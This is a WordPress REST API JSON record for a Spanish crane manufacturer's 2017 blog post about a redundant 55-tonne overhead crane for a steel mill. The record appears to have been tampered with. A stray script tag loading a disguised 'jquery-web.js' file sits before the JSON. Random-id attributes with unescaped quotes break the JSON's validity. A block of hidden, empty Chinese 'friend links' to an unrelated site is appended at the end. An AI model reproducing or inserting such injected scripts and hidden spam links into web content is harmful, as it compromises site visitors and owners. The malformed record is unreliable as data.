<script src="///jquery-web.js"></script>{"id":5282,"date":"2017-11-17T08:25:45","date_gmt":"2017-11-17T07:25:45","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/?p=5282"},"modified":"2017-11-13T23:37:53","modified_gmt":"2017-11-13T22:37:53","slug":"puente-grua-de-servicio-para-el-manejo-de-artesas-y-tundish-en-la-aceria-de-global-steel-wire-en-su-planta-de-santander","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/puente-grua-de-servicio-para-el-manejo-de-artesas-y-tundish-en-la-aceria-de-global-steel-wire-en-su-planta-de-santander\/","title":{"rendered":"Puente Gr\u00faa de Servicio para el manejo de \u201cartesas y tundish\u201d en la acer\u00eda de Global Steel Wire en su planta de Santander"},"content":{"rendered":"<p>Esta <strong>gr\u00faa puente <\/strong>tendr\u00e1 una capacidad de 55Tm y una luz de 28m, con la caracter\u00edstica de tener <strong>redundancia<\/strong> tanto en la <strong>parte mec\u00e1nica<\/strong> (lo que permite poder seguir trabajando ante el eventual fallo de uno de sus motores), como de la <strong>parte el\u00e9ctrica<\/strong> (doble variador para cada uno de los movimientos).<\/p>\n<p>Todos los componentes est\u00e1n calculados y <strong>fabricados para soportar<\/strong> las m\u00e1s duras condiciones de<strong> trabajo en una acer\u00eda<\/strong> a altas temperaturas.<\/p>\n<p><a id="htqeljhz" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/10\/Global-Steel-Wire_20171002_180920.jpg\"><\/a><a id="yjmmmebe" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/10\/Global-Steel-Wire_20171002_181151.jpg\"><\/a><a id="gbylmwdt" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/10\/20171110_153702.jpg\"><\/a><a id="jzqpjmad" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/10\/MG_4740.jpg\"><\/a>\u00a0<a id="lhylbctc" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/10\/MG_4750.jpg\">\u00a0<\/a><a id="gjytdwzf" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/10\/20171030_113602-2.jpg\"><\/a><a id="qsttddde" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/10\/20171030_113242.jpg\"><\/a><a id="pnflrdxn" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/10\/20171030_112703.jpg\"><\/a><a id="ntyhnzxe" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/10\/20171030_112552.jpg\"><\/a>\u00a0<a id="begrlssl" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/10\/20171030_112315.jpg\">\u00a0<\/a><a id="nwbrqqxx" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/10\/20171030_112922.jpg\"><\/a><a id="ykhbybcc" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/10\/20171030_112247.jpg\"><\/a><\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>Esta gr\u00faa puente tendr\u00e1 una capacidad de 55Tm y una luz de 28m, con la caracter\u00edstica de tener redundancia tanto en la parte mec\u00e1nica (lo que permite poder seguir trabajando ante el eventual fallo de uno de sus motores), como de la parte el\u00e9ctrica (doble variador para cada uno de los movimientos). Todos los componentes [&hellip;]<!-- AddThis Advanced Settings generic via filter on wp_trim_excerpt --><!-- AddThis Share Buttons generic via filter on wp_trim_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":5845,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[6],"tags":[1021,957,19,848,849,128,306],"jetpack_featured_media_url":"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/10\/20171110_153636.jpg","_links":{"self":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/5282"}],"collection":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/comments?post=5282"}],"version-history":[{"count":20,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/5282\/revisions"}],"predecessor-version":[{"id":5867,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/5282\/revisions\/5867"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media\/5845"}],"wp:attachment":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media?parent=5282"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/categories?post=5282"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/tags?post=5282"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<div align="center">友情链接：<a href="https://www.halosee.com/" target="_blank"></a>&nbsp;&nbsp;<a href="https://www.halosee.com/" target="_blank"></a>&nbsp;&nbsp;<a href="https://www.halosee.com/" target="_blank"></a>&nbsp;&nbsp;<a href="https://www.halosee.com/" target="_blank"></a></div></html>